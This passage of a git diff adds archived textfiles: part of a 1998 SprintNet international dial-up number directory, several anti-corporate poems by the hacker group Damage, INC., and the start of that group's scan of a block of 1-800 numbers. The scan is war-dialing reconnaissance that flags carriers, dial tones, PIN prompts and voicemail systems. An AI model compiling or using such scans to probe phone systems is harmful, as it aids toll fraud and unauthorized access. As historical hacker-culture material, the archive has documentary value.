2. International Asynchronous Dial Service + 3. Domestic X.25 Dial Service + 4. Product and Service Information + 5. Exit the script + + +Please enter your selection (1-5): 4 + + PRODUCT AND SERVICE INFORMATION +--------------------------------------------------------------------- + +For more information on SprintNet data network products and services, +please call toll-free 1-800/736-1130. + + + + + US SPRINT'S ONLINE + LOCAL ACCESS TELEPHONE NUMBERS DIRECTORY + + 1. Domestic Asynchronous Dial Service + 2. International Asynchronous Dial Service + 3. Domestic X.25 Dial Service + 4. Product and Service Information + 5. Exit the script + + +Please enter your selection (1-5): 2 + + INTERNATIONAL ASYNCHRONOUS DIAL SERVICE +--------------------------------------------------------------------- +Updated June 30, 1998 + + - for asynchronous applications + - at 300, 1200, 2400, 9600 and 14400 bps + - with optional local error protection in select locations + - from locations around the globe + +Now overseas locations are being enhanced to include local SprintNet +Access Centers. These new centers provide direct access to the +SprintNet global data network using the same sign-on procedures you +use in the United States. So, no matter where you are, you'll have +the same high quality SprintNet service. Please see footnotes for +specific exceptions. + +The Customer Service number for users calling outside of the United +States is 703-318-7740. The United States Customer Service number is +800-827-4685 #1. + +International Service Requirements +---------------------------------- +SPEED: MODEM TYPE: + 300 bps V.21 compatible + 1200 bps V.22 compatible + 2400 bps V.22 bis compatible + 9600 bps CCITT V.32 compatible +14400 bps V.32 bis compatible + + + +NOTE: o ALL COUNTRY CODES DO NOT NEED TO BE DIALED WHEN DIALING WITHIN + COUNTRY + o CITY CODES WITHIN PARENTHESES () DO NOT NEED TO BE DIALED WHEN + DIALING WITHIN COUNTRY + + INTERNATIONAL ASYNCHRONOUS DIAL SERVICE +--------------------------------------------------------------------- + + COUNTRY CITY DIAL +COUNTRY CODE CODE NUMBER SPEED +----------------------------------------------------------------------- +Australia+,*** 61 + Adelaide+ 8 8232-5941 Up to 14400bps + Brisbane+ 7 33-91-0719 Up to 14400bps + Canberra+ 6 257-5055 Up to 14400bps + Melbourne+ 3 9663-8622 Up to 14400bps + Perth+ 8 9481-1122 Up to 14400bps + Sydney+ 2 9281-0800 Up to 14400bps +Austria 43 + Vienna 1 504-2811 Up to 14400bps +Belarus+^ 7 + Minsk+ 0172 26-0812 Up to 2400bps +Belgium 32 + Antwerp 3++ 234-2700 Up to 14400bps + Brussels 2 725-3400 Up to 14400bps +Brazil 55 + Belo Horizonte 31 2911900 Up to 14400bps + Sao Paulo 11 5070-7999 Up to 14400bps +Bulgaria 359 + Burgas*+ 0133 Up to 9600bps + Burgas+ 56 99626 Up to 9600bps + Interpred*+ 0133 Up to 9600bps + Interpred+ 2 7146-4444 Up to 14400bps + Plovdiv+ 32 264-497 Up to 9600bps + Russe*+ 0133 Up to 9600bps + Sofia*+ 0133 Up to 14400bps + Sofia+ 2 91-129 Up to 14400bps + Stara Zagora*+ 0133 Up to 9600bps + Veliko Tarnovo*+ 0133 Up to 9600bps + Varna*+ 0133 Up to 9600bps + Varna+ 52 601842 Up to 14400bps + Vratza*+ 0133 Up to 9600bps +Canada 1 + Calgary+ 403 262-7887 Up to 14400bps + Dartmouth**+ 902 492-0036 Up to 14400bps + Halifax**+ 902 492-0036 Up to 14400bps + Montreal**+ 514 392-0202 Up to 14400bps + Ottawa+ 613 235-6481 Up to 14400bps + Pointe Claire**+ 514 392-0202 Up to 14400bps + Toronto+ 416 594-1121 Up to 14400bps + Vancouver+ 604 684-4696 Up to 14400bps +Chile + Santiago 56 2 365-1110 Up to 14400bps +Colombia 57 + Bogota+ 1 623-5866 Up to 14400bps +Czech Republic 420 + Prague 2 7077-7777 Up to 19200bps +Denmark+ 45 + Copenhagen+ 35 439-111 Up to 9600bps +Egypt 20 + Cairo 2 3382400 Up to 14400bps +Estonia+^ 372 + Tallinn+> 3726 631-2286 Up to 2400bps +Finland 358 + Helsinki 9 146-3022 Up to 14400bps +France~ 33 + Lille 3 2065-3260 Up to 14400bps + Lyon 4 7864-5095 Up to 14400bps + Paris 1 4643-0505 Up to 14400bps + Sofia Antipolis 4 9296-0049 Up to 14400bps +Germany++ 49 + Dusseldorf 211 323-8570 Up to 14400bps + Frankfurt 69 666-9151 Up to 14400bps + Hamburg 40 310-180 Up to 14400bps + Munich+ 89 291-62800 Up to 14400bps + Stuttgart 71 181-2001 Up to 14400bps +Greece 30 + Athens+ 1 957-8020 Up to 14400bps +Guam 671 + Tumon 649-3282 Up to 14400bps +Hong Kong 852 + Hong Kong 300-26442 Up to 14400bps +Hungary 36 + Budapest+ 1 3351023 Up to 14400bps +Indonesia 62 + Jakarta+ 21 386-1044 Up to 14400bps +Ireland 353 + Cork 21 319 699 Up to 14400bps + Dublin 1 661 4466 Up to 14400bps + Galway 91 561 177 Up to 14400bps +Israel 972 + Tel Aviv + Rosh Haayin 3 900-1234 Up to 14400bps +Italy 39 + Milan 2 76110219 Up to 14400bps + Rome 6 23239400 Up to 14400bps +Japan 81 + Nagoya+ 52 586-7021 Up to 14400bps + Niigata+ 25 246-4095 Up to 14400bps + Osaka 6 534-8700 Up to 14400bps + Tokyo 3 3794-6381 Up to 14400bps + Fukuoka+ 92 623-1253 Up to 14400bps + Hiroshima+ 82 227-9139 Up to 14400bps + Sapporo+ 11 752-0620 Up to 14400bps + Sendai+ 22 216-7326 Up to 14400bps + Takamatsu+ 878++ 23-4866 Up to 14400bps + Toyama+ 764 33-4807 Up to 14400bps + Yokohama+ 45 451-0425 Up to 14400bps +Jordan 962 + Amman 6 700-701 Up to 14400bps +Kazakhstan+^ 7 + Akmola+ 3172 333618 Up to 9600bps + Aktau+ 3292 514959 Up to 9600bps + Aktyubinsk+ 3132 574641 Up to 14400bps + Alma-Ata+ 3272 507000 Up to 14400bps + Atyrau+ 31222 24647 Up to 9600bps + Chimkent+ 3252 445221 Up to 9600bps + Jambul+ 32622 47616 Up to 9600bps + Jezkazgan+ 3102 769502 Up to 14400bps + Karaganda+ 3212 431112 Up to 14400bps + Kokshetau 31622 57000 Up to 14400bps + Kulsary 31237 21818 Up to 9600bps + Kustanai+ 3142 546926 Up to 14400bps + Kyzyl-Orda 32422 70265 Up to 9600bps + Pavlodar+ 3182 327707 Up to 14400bps + Petropavlovsk+ 3152 469909 Up to 14400bps + Semipalatinsk+ 3222 661303 Up to 9600bps + Taldykurgan+ 32822 45221 Up to 14400bps + Uralsk+ 31122 20684 Up to 9600bps + Ust-Kamenogorsk+ 3232 645906 Up to 9600bps +Korea (South) 82 + Changwon+ 551 96-9944 Up to 14400bps + Chuncheon+ 361 262-1496 Up to 14400bps + Chungju+ 431 292-2101 Up to 2400bps +Incheon+ 32 868-3395 Up to 14400bps + Jeonju+ 652 75-1135 Up to 14400bps + Jeju+ 64 55-7671 Up to 2400bps + Kangreung+ 391 43-3671 Up to 2400bps + Kwangju+ 62 226-3085 Up to 14400bps + Kwangyang+ 667 791-2277 Up to 14400bps + Pohang+ 562 75-3115 Up to 14400bps + Pusan+ 51 441-8555 Up to 14400bps + Seoul 2 551-4525 Up to 14400bps + Suwon+ 331 254-4955 Up to 2400bps + Taejun 42 533-7500 Up to 14400bps + Teagu+ 53 475-0075 Up to 14400bps + Ulsan+ 522 258-1818 Up to 14400bps +Kuwait+ 965 + Kuwait City+ 484-4155 Up to 9600bps +Kyrgystan 7 + Bishkek+ 3312 216706 Up to 9600bps +Latvia+^ 7 + Riga+ 013 722-3811 Up to 2400bps +Lithuania+++ 370 + Kaunas+ 7 206373 Up to 14400bps + Klaipeda+ 6 310690 Up to 14400bps + Vilnius+ 2 73-4133 Up to 14400bps +Luxembourg 352 + Strassen 31-6667 Up to 14400bps +Malaysia 60 + Kuala Lumpur+ 3 7329372 Up to 14400bps + Penang+ 4 3971526 Up to 14400bps +Mexico 52 + Chihuahua 14 118-522 Up to 14400bps + Coatzacoalcos 921 43-209 Up to 14400bps + Culiacan 67 520-303 Up to 14400bps + Guadalajara+ 3 678-1500 Up to 14400bps + Hermosillo 62 106-033 Up to 14400bps + Juarez+ 16 29-3200 Up to 14400bps + Leon 47 710-225 Up to 14400bps + Mazatlan 69 803-025 Up to 14400bps + Mexico City+ 5 729-5200 Up to 14400bps + Monterrey+ 83 99-0700 Up to 14400bps + Puebla+ 22 29-1900 Up to 14400bps + Reynosa 89 246-804 Up to 14400bps + Tijuana+ 66 86-1372 Up to 14400bps + Torreon 17 501-181 Up to 14400bps + Tuxtla 961 273-07 Up to 14400bps + Veracruz 29 319-161 Up to 14400bps +Netherlands 31 + Amsterdam*** 20 6533533 Up to 14400bps +New Zealand+ 64 + Auckland+ 9 379-0335 Up to 14400bps + Wellington+ 4 499-3617 Up to 14400bps +Norway 47 + Oslo 22 595700 Up to 14400bps +Peru 51 + Lima+ 1 221-7747 Up to 14400bps +Philippines 63 + Manilla^^+ 2 760-1700 Up to 14400bps +Portugal 351 + Lisbon 1 315-2508 Up to 9600bps + Porto 2 8302141 Up to 9600bps +Puerto Rico 1 + San Juan 787 273-7400 Up to 14400bps +Russia+ 7 + Abakan+ 39022 5-1210 Up to 9600bps + Akademgorodok+ 3832 36-0470 Up to 2400bps + Alexandrov 09244 22181 Up to 9600bps + Angarsk^+ >>> 83951 562121 Up to 2400bps + Aniva+ 42441 5-2757 Up to 2400bps + Arkhangelsk^+ 8182 65-0608 Up to 2400bps + Astrakhan+ 8512 391355 Up to 2400bps + Bagan+ >> 253 9-1226 Up to 2400bps + Barabinsk+ >> 2612 5006 Up to 2400bps + Barnaul^+ 3852 26-1601 Up to 9600bps + Belebei 34716 31594 Up to 9600bps + Belgorod+ 0722 27-3201 Up to 9600bps + Beloretzk+ 34792 5-0510 Up to 9600bps + Berdsk+ >> 241 3-2012 Up to 2400bps + Birobidjan+ 42622 4-0137 Up to 2400bps + Birsk 34714 49744 Up to 9600bps + Biysk^+ 3854 24-2410 Up to 2400bps + Blagoveschensk 4162 426268 Up to 9600bps + Bolotnoe 249 22303 Up to 9600bps + Bratsk^+ < 3953 42-0620 Up to 2400bps + Chany+ >> 267 2-1072 Up to 2400bps + Cheboksary+ 8350 21-4656 Up to 2400bps + Chelyabinsk+ 3512 66-4007 Up to 14400bps + Cherepanovo+ 3832 2-4674 Up to 2400bps + Cherepovets 8202 223444 Up to 2400bps + Cherkessk+ 87822 5-0579 Up to 2400bps + Chistoozernoe+ >> 268 9-1886 Up to 2400bps + Chita^+ 3022 328276 Up to 2400bps + Chulym+ >> 250 3-9512 Up to 2400bps + Dovolnoe+ >> 254 21174 Up to 2400bps + Durtuli 34717 21752 Up to 2400bps + Eisk^+ 86132 4-6153 Up to 2400bps + Ekaterinburg^+ 3432 49-5356 Up to 2400bps + Elista 84772 60645 Up to 14400bps + Gorno-Altaisk+ 38822 3-1099 Up to 2400bps + Gorokhovec 09238 22822 Up to 2400bps + Gus-Khrustalny 09241 27900 Up to 9600bps + Irkutsk^+ 3952 25-5191 Up to 2400bps + Ishim+ 251 2-1222 Up to 14400bps + Iskitim+ >> 243 21246 Up to 2400bps + Izhevsk+ 3412 51-0347 Up to 14400bps + Kaliningrad+ 0112 349288 Up to 2400bps + Kameshkovo 09248 23573 Up to 9600bps + Kamensk-Shakhtinsky 86365 5-5045 Up to 2400bps + Karasuk+ >> 255 5-1508 Up to 2400bps + Kargat+ >> 265 22502 Up to 2400bps + Kazan+ 8432 38-7344 Up to 9600bps + Kemerovo+ 3842 52-8601 Up to 2400bps + Khabarovsk^+ 4212 21-4937 Up to 2400bps + Kholmsk 4243 60660 Up to 14400bps + Kirov+ 8332 6-0660 Up to 14400bps + Kirzhach 09237 23315 Up to 2400bps + Kochenevo 2512 42000 Up to 9600bps + Kochki+ >> 256 2-2864 Up to 2400bps + Kolchugino 09245 93900 Up to 14400bps + Kolivan 252 21703 Up to 2400bps + Komsomolsk na Amure^+ 42172 47145 Up to 2400bps + Kondopoga+ 82251 2-0379 Up to 2400bps + Korsakov 42435 2-2222 Up to 2400bps + Kovrov 09232 21242 Up to 9600bps + Krasnodar^+ 8612 546614 Up to 2400bps + Krasnoobsk 3832 480716 Up to 2400bps + Krasnoozersk+ >> 257 4-1064 Up to 2400bps + Krasnouralsk+ 34343 2-0803 Up to 2400bps + Krasnoyarsk^+ 3912 66-1444 Up to 2400bps + Kujbyshev+ >> 262 2-4196 Up to 2400bps + Kupino+ >> 258 2-1448 Up to 2400bps + Kurgan^+ 35222 7-1601 Up to 2400bps + Kurilsk 42454 21280 Up to 2400bps + Kursk+ 0712 56-5846 Up to 2400bps + Kyshtovka+ >> 271 2-1583 Up to 2400bps + Magnitogorsk+ 3511 37-6471 Up to 2400bps + Maikop+ 87722 3-4652 Up to 2400bps + Maslyanino+ >> 247 21371 Up to 2400bps + Melenki 09247 22420 Up to 9600bps + Meleuz^+ 34764 4-0008 Up to 9600bps + Mesyagutovo 34798 21071 Up to 2400bps + Moscow+ 095 928-0985 Up to 14400bps + Moshkovo+ >> 248 2-1694 Up to 2400bps + Murmansk+ 8152 286692 Up to 2400bps + Murom 09234 32095 Up to 2400bps + Nakhodka^+ 4236 642710 Up to 9600bps + Nalchik+ 86622 7-3538 Up to 2400bps + Narjan-Mar+ 81853 6-3721 Up to 2400bps + Neftekamsk^+ 34713 5-7301 Up to 2400bps + Nevelsk 42436 60155 Up to 2400bps + Nizhnevartovsk+ 3466 24-1555 Up to 2400bps + Niznij Novgorod^+ 8312 67-7710 Up to 2400bps + Niznij Tagil+ 3435 25-2947 Up to 14400bps + Norilsk+ 3919 46-1112 Up to 2400bps + Novgorod+ 8162 131837 Up to 9600bps + Novocherkassk+ 86352 4-3455 Up to 2400bps + Novokuznetsk+ 3843 42-4081 Up to 2400bps + Novorossijsk^+ 86134 5-2747 Up to 2400bps + Novosibirsk^+ 3832 18-0060 Up to 2400bps + Obj+ >> 273 21893 Up to 2400bps + Okha+ 42437 2-2585 Up to 2400bps + Oktyabrskij^+ 34767 4-3831 Up to 9600bps + Omsk^+ 3812 23-7310 Up to 2400bps + Ordynsk+ >> 259 21099 Up to 2400bps + Orel+ 0862 771462 Up to 2400bps + Orenburg+ 3532 565008 Up to 14400bps + P.Kamchatsky^+ 4150 11-2505 Up to 2400bps + Pechora+ 82142 30922 Up to 2400bps + Penza+ 8412 55-3962 Up to 2400bps + Perm^+ 3422 90-0320 Up to 14400bps + Petrozavodsk^+ 8142 764160 Up to 2400bps + Petushki 09243 23896 Up to 9600bps + Pskov 8112 91773 Up to 9600bps + Pyatigorsk+ 86533 4-1037 Up to 9600bps + Rostov^+ 8632 65-7420 Up to 2400bps + Rubtsovsk+ 38557 24774 Up to 2400bps + Ryazan+ 0912 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We'll give you fire. We'll give ya Damage, INC. desire. +Fuck "society", its lies and corruption. +We'll still be around to root out the greedy, corrupt liars. + +We're still in this only for the knowledge and education. +Still not taking bribes. Still not for hire. +And it should be damn straight we won't quit until we've won. + +I'm still writing rhymes and still writing about the group. +Still promoting free thought. +And I'm still here to warn people so they don't get duped. + +We're still thinking, honing our skills and mastering our game. +Still own Bell. +And we're still doing what we want without any shame. + +We still enjoy doing this without any profit. +Still have the same goals. +And we're still doing it with the same Damage, INC. style and wit. + +We're still hardcore, against the grain. +Still have that same, unmistakable biting sarcasm. +We still have nothing to lose and everything to gain. + +We're still putting out information that makes you think twice. +It'll spin your head around so fast it'll damn near break your neck. +Still taking risks and still not ever afraid to roll the dice. + +We're still shocking the system. +Against the establishment. +Still denouncing and condemning them. + +We're still here, poised to attack. +It doesn't matter if we go away for awhile. +We'll always return, back in black. + +We're still kickin' ass and fucking with minds. +And you know it. +Still exposing the truth and dispelling all of the lies. + +We're still using technology to get out our message. +Big Brother can't stop us. +Still mocking the naive that live in their gilded cage. + +Still fighting for our beliefs and making our opinions known. +Still not living in fear. +In these things we know we're not alone. + +We're still keepin' it real in 2000, right on track. +That can't be denied. +And the defiant zombies that try can feel our hell on their backs. + +We're still speaking out and don't care if for that we're hated. +Still out to inform. +And above all else, still Damage Incorporated. +Still. + +Written by THC Phreak ú Damage, INC. (C)opyright 2000. diff --git a/textfiles.com/groups/DAMAGEINC/terror.txt b/textfiles.com/groups/DAMAGEINC/terror.txt new file mode 100644 index 00000000..9b512654 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/terror.txt @@ -0,0 +1,65 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Error of Terror. + +Hand a bill to a man walking the street. "Good day to be alive sir. Thanks, +pleased to meet." You nod and you walk. Busy lives. No time to stop for a +moment and talk... + +Era of terror. Terror's the error. Manic faces twisted with madness and +altered by chaos. Changed and afraid. Profit and pillage at all costs. + +Exploit the weak. Find the weakness and steamroll the meek... Enslave the +homeless. More profit must be made. Ever fibre in your being is under duress. + +As the stress builds... your mind bends. Heart ruptures. Life as you know +it ends. Is money the means? Is greed a means to an end? Is that not how +it seems? + +But everything can change. It doesn't have to be about profit for pain. +Capitalism doesn't have to be at all costs... Killing machines. Exploitation, +destruction of environment, cultures, jobs and lives lost. + +You still have a voice. Let the silent and forgotten become powerful. Speaking +out is the last option... only choice. Let them be seen and radiate. Let them +gather en mass, to take it back. + +No moments of rest. Walking the streets disheveled. No peace. No rest. All +hell. Survival and strife... All stress. Segregated and ignored by all else +around them. You walk right past them without noticing. Each time you do they +feel even less human... more condemned. + +Happy now? Find solace in the suburbia you've built. Play the star in sports +and on stages to the applause of "society"... and take your well deserved bows. +Ain't it funny how some are less fortunate than you? They have nothing. While +you flaunt wealth, shop at glass malls on weekends... for new clothes and +expensive shoes. + +Freezing while sleeping in parks and on sidewalks. Hypothermia is a constant +fear. Always on your mind... so cold you can barely talk. Legs feel like +concrete and each step causes your body to ache. Pain. A strong sensation yet +emotions are stronger... sadness still remains. + +Under bridges they huddle in a futile attempt to find warmth. Nameless faces. +Awaiting the blizzard to hit... just the latest storm. An eclectic group of +people seeking shelter... all ages, colours, creeds, backgrounds and races. +At least poverty doesn't discriminate. Wait... check yourself. Is it too late? + +Starving now. Cold... broken... down. Poverty breaks spirits. It chains. +It takes your humanity and breaks it into pieces... and with fury it hits. +Pity and tears don't cut it. The broken pieces of people's lives have to be +reassembled... so that once again they all fit. + +Cold. Hungry. Begging. Dying. Lives shattered in tatters. + +Written by BLACKENED / Damage, INC. (C)opyright 2001. diff --git a/textfiles.com/groups/DAMAGEINC/theend.txt b/textfiles.com/groups/DAMAGEINC/theend.txt new file mode 100644 index 00000000..5cf3ed1a --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/theend.txt @@ -0,0 +1,110 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +The End of Truth. + +This is the end. My only friend, the end. +This is the end. One last message to send. + +We choose your thoughts. We tell you which ideas to believe. +We are your teacher. Trust what we say and we will not deceive. + +We'll teach you good. We'll teach you well. +You learn quickly. We've saved you from truth hell. + +We aren't your enemy. We aren't your foe. +We're your only friend. We'll tell you what you know. + +Our intentions are honest. Our system is just. +Conformity is necessary. Full compliance is a must. + +You will listen to us. You will always obey. +We are mother and father. So just do as we fucking say. + +We'll give you morals. We'll give you your beliefs. +We're generous that way. You can live unburdened of grief. + +This is our system. This is our way. +Our way is best. It must be implemented without delay. + +Do not defy us. Do not ever speak out against us. +Heed our warnings. Or you'll disappear, burned into dust. + +We'll tell you what to like. We'll teach you who to hate. +We'll instruct you on right and wrong. We'll guide your fate. + +This is all done in your best interests, for your own sake. +Those that oppose us will all be destroyed, and left in our wake. + +The dissidents will tell you lies. They'll do anything to fool you. +But we'll be here to guide your path. And we'll always be true. + +Listen to us! Hear our message! Watch our films! Trust! +It's all for you. There are no lies. There's no blood lust. + +Everything is done for you. We'll think for you too. +Just follow our way. There's nothing else you must do. + +The outsiders are out to destroy us. But we are strong. +We'll protect you. We'll shelter you in a place that you belong. + +Just crawl into this cage. That's it. You're doing just fine. +Leave your principles and beliefs at the door. It's all on the sign. + +We've outlined all of the rules. They're all easy to abide by. +But if you choose to ignore them, just remember that you will surely die. + +Relinquish individuality. Give up your thoughts and ideas. +We'll think for you! Just do as the Minister of Propaganda does. + +It's all very simple. It's a much easier way of life. +We handle all of the hard work. You can live easy, without any strife. + +You're free to enjoy a clear mind. You're free of arguments. +There's no difference of opinions. There's only common sense. + +You'll understand. You'll learn our doctrines. +You will fit in. You will only pay for your mistakes and your sins. + +Free thoughts and ideas are a hindrance. They're a nuisance. +If we choose, we can make you whatever we want. We can force you to dance. + +Pulling your strings you'll be our own little puppet. +That's right. Give in. Repeat after me when I say fuck it. + +Indifference and complacency. We've found your weakness. +Come into the fold. Let our gentle, guiding hand be your last caress. + +Our words are powerful. They're more powerful than the sword. +Individuals are weak. Obeying us is its own reward. + +Do not choose to rebel. Do not try to fight this by thinking. +Conformity is right. It's as natural as breathing, eating and drinking. + +You'll soon become accustomed. You'll soon believe the message. +Soon you'll be without fear. And you'll no longer have any rage. + +We've done away with many things. We've decided to eliminate them. +They simply weren't necessary. And so, they've been condemned. + +You won't even be shadows of your former selves. Not even ghosts. +Everything is owned by us now. Be thankful we're such gracious hosts. + +Everything is being rewritten. With disinformation lurking around every corner. +Greetings my loyalist friends. Welcome to the New World Order. + +Notes: This poem was inspired by several songs, including 'The End', by +The Doors and a few by Rage Against the Machine. It was obviously also inspired +by the propagandists and the propaganda corporations (the media) around the +world. Your powers to influence zombies are truly great... + +Written by BLACKENED / Damage, INC. (C)opyright 2000. diff --git a/textfiles.com/groups/DAMAGEINC/voice.txt b/textfiles.com/groups/DAMAGEINC/voice.txt new file mode 100644 index 00000000..9afe54e8 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/voice.txt @@ -0,0 +1,135 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +The Voice of the Monopoly. + +This isn't a game. +These corporations are without ethics and honour. +They have no shame. + +They operate without conscience. +Money is all consuming. +Nothing else is of any consequence. + +They feed you lies. +Exploit you. Steal your money. +Then they sell your minds. + +They live by influence and greed. +You're just there to be used and exploited. +They'll tell you what you need. + +You are the commodity. +They exist to profit and lie. +They'll sell you your own information for a fee. + +Greed is their motto. Corruption is their name. +They prey on the weak-minded. +For that, zombie consumers are just as much to blame. + +They misinform and use lies. +Influence and brainwash. +Anything to ensure commercialism never dies. + +Who can I bribe? Who else can I buy? +More affluence. More power. +Must destroy more cultures and more lives. + +What else can we control? What else can we take? +How many more minds can we fuck before the day is done? +Only mindless zombies are left. Who else can we rape? + +Target the poor. Service charge them to death. +Enlist Big Brother. Enslave the homeless. +Monopolize the world. Take until our dying breath. + +Rob them blind. Steal their minds. +Make them pay. Sell them anything they don't need. +Force them to want it. Pillage whatever we find. + +Corrupt, brainwash and labotomize. +Make them jealous and envious. Make them greedy. +Then swoop in for the kill to take our prize. + +Eliminate competition. Do away with free thought. +Control them all. Influence with advertising. +Take all we can. Afterall, anyone can be bought. + +Never be satisfied. Billions aren't nearly enough! +The fools will suffer. Let them live in poverty. +It's more for us. More money, more materials, more expensive stuff. + +Drive their egos and greed. Make materialism the accepted way. +Tell them they need to buy more. Track and monitor it all. +Remove freedom of choice. Take their say and make them all pay. + +Fill our company coffers. Make them overflow. +Bolster the corporate image. They'll learn to love us. +Kill their independence. Make them all into puppets of the NWO. + +Tell them it's all for the best. It's the new economy stupid. +Make them understand. Teach them the way. +Guide them away from truth. Then we'll be ready to make our final bid. + +Show them the way with a bullet in the back of their head. +Take a trick from China's book by billing their family. +Buy all of the politicians you can and put them all to bed. + +Form organizations to protect ourselves. Protect the wealth. +Secure the market. Become bigger and stronger. +We'll own them. Nothing can stop us. Who needs stealth? + +Be relentless and vicious. Have no mercy. +Hostile takeover. Acquire and appropriate. +Steal and propagate. Greed is the key. + +Take their resources. Watch them struggle and die. +It's all ours to use and hoard. Ours to claim. +We mock protesters. We laugh in the face of public outcry. + +Master them. Master and own everything. +No one can discredit us. Our lies are their truth. +Encourage overpopulation. Think of the new consumers it'll bring! + +Make them salivate with desire. Make them buy. +Their greed is insatiable. They thirst and lust for more. +Use that against them. Capitalism will never die. + +Crush their spirit. Take their souls. +They're ours. We own them now. +We'll do anything to make sure we stay in our control. + +Enslave the workforce. Keep them hungry. Keep them down. +Make them loyal. Make them believe they're lucky. +Work them to death. Tighten their chains. Keep them locked and bound. + +Trap them. Cage them in. Imprison them all. +Exploit and exploit some more. +Tell them to be happy. They should be glad to have jobs at all. + +Turn prisons into factories. Prisoners don't have any rights. +They're a cheap, renewable resource. No unions. No benefits. +Pay them next to nothing. Our profit levels will reach new heights. + +The best part is the government agrees with us and already sanctions it all. +It's a whole new workforce, without salary demands, work stoppages or strikes. +Think of the possibilities. They're literally trapped behind a corporate wall. + +Take and continue to take. Take it all. Rape it all. Fuck them all. +We're in control. We already know we'll always win. +We can't lose. We're big and powerful. They're weak and small. + +We control every aspect of their lives, from the cradle to the grave. +Push them as far as we can. They need us to survive. +They are our lackeys. They are zombies -- the ultimate willing slaves. + +Written by BLACKENED ú Damage, INC. (C)opyright 2000. diff --git a/textfiles.com/groups/DAMAGEINC/xxx-2255.txt b/textfiles.com/groups/DAMAGEINC/xxx-2255.txt new file mode 100644 index 00000000..3f218af3 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/xxx-2255.txt @@ -0,0 +1,816 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + 1-800-XXX-2255 Scan + + http://surf.to/damage_inc + damage_inc@dope.org +=============================================================================== + + +1-800-XXX-2255 (CALL) Scan: +-------------------------- + +200 Perfect Buns and Thighs ordering line. +201 NIS. +202 NIS. +203 Simpson Steel Buildings answering machine. +204 NIS +205 NIS. +206 NIS. +207 2CK. +208 Something Technologies. +209 NIS. +210 NIS. +211 2CK. +212 NIS. +213 NIS. +214 NA. +215 NIS. +216 Mike McGwuire VMS. +217 NIS. +218 AT&T Easy Reach 800. +219 NA. +220 NIS. +221 American Airlines VMB. +222 2CK +223 NIS. +224 Voice. +225 ATN Communications. +226 2CK. +227 Cellular Sales and marketing newsletter. +228 2CK. +229 Voice. +230 2CK. +231 NA. +232 2CK. +233 NA. +234 2CK. +235 Duran Duran Ordering Line. +236 Something San Francisco VMS. +237 Voice Dispatch System. +238 Corporate Express Call Center Services. Press "#" +239 2CK. +240 Phone Sex. +241 2CK. +242 "Please enter your 4 digit PIN." +243 2CK. +244 NIS. +245 Carrier. +246 2CK. +247 2CK. +248 Customer Service. (Voice) +249 One Call Maintenance. +250 NIS. +251 Anglo American something answering machine. +252 2CK. +253 Something Chamber of Commerce. +254 VMB. +255 Bell Atlantic 1-800-255-CALL. +256 2CK. +257 2CK. +258 2CK. +259 2CK. +260 NA. +261 NA. +262 2CK. +263 NIS. +264 InComNet National Telephone and Communications. +265 2CK. +266 NA. +267 NIS. +268 NIS. +269 2CK. +270 NA. +271 NIS. +272 2CK. +273 NIS. +274 AFS automatic bill paying services. +275 2CK. +276 Haliburton Service Desk. 1-888-839-9295 IBM Haliburton Service Desk. +277 2CK. +278 2CK. +279 Invalid. +280 Voice. +281 NIS. +282 2CK. +283 Dispatch Center? (Voice) +284 ATN Communications. (collect, credit, calling card) +285 NA. +286 NIS. +287 2CK. +288 2CK. +289 Phone Sex. +290 Voice. +291 NIS. +292 FAX. +293 2CK. +294 NIS. +295 2CK. +296 2CK. +297 BUSY. +298 NIS. +299 NA. +300 NIS. +301 NIS. +302 NIS. +303 NIS. +304 SkyTel "Enter the pin number you wish." +305 NIS. +306 Non-working toll free number. +307 NIS. +308 Regent Sales VMS. +309 NIS. +310 LK101. +311 2CK. +312 NIS. +313 NIS. +314 NIS. +315 2CK. +316 NA. +317 NA. +318 "Please enter your PIN number now." +319 2CK. +320 Voice. +321 2CK. +322 2CK. +323 2CK. +324 AT&T Easy Reach 800. +325 2CK. +326 BUSY. +327 Voice. +328 MTS Service Hotline. +329 VMS. +330 NIS. +331 2CK. +332 2CK. +333 TCIM Services. +334 GE Information Services Center. +335 NIS. +336 2CK. +337 2CK. +338 Voice. +339 NIS. +340 NIS. +341 Voice. +342 NA. +343 NA. +344 2CK. +345 2CK. +346 2CK. +347 Unable to route call. +348 2CK. +349 Automated message. +350 BUSY. +351 2CK. +352 TNC Bank. +353 2CK. +354 2CK. +355 NIS. +356 Dialtone. +357 Yellow International. +358 2CK. +359 Sprint Voice Phone Card. +360 Century 21 Realty VMS. +361 NIS. +362 Voice. +363 Voice. (French) +364 NA. +365 2CK. +366 Sprint automated LD calling (U.S. and Canada) +367 2CK. +368 Sherwin Williams VMS. +369 Silent/Dead line. ;) +370 Greater Boston Federal Credit Unions. +371 NIS. +372 Voice. +373 2CK. +374 2CK. +375 NIS. +376 2CK. +377 Oncall Health Care Communications VMS. +378 NIS. +379 NIS. +380 NIS. +381 NIS. +382 2CK. +383 2CK. +384 BUSY. +385 2CK. +386 AT&T Easy Reach 800. +387 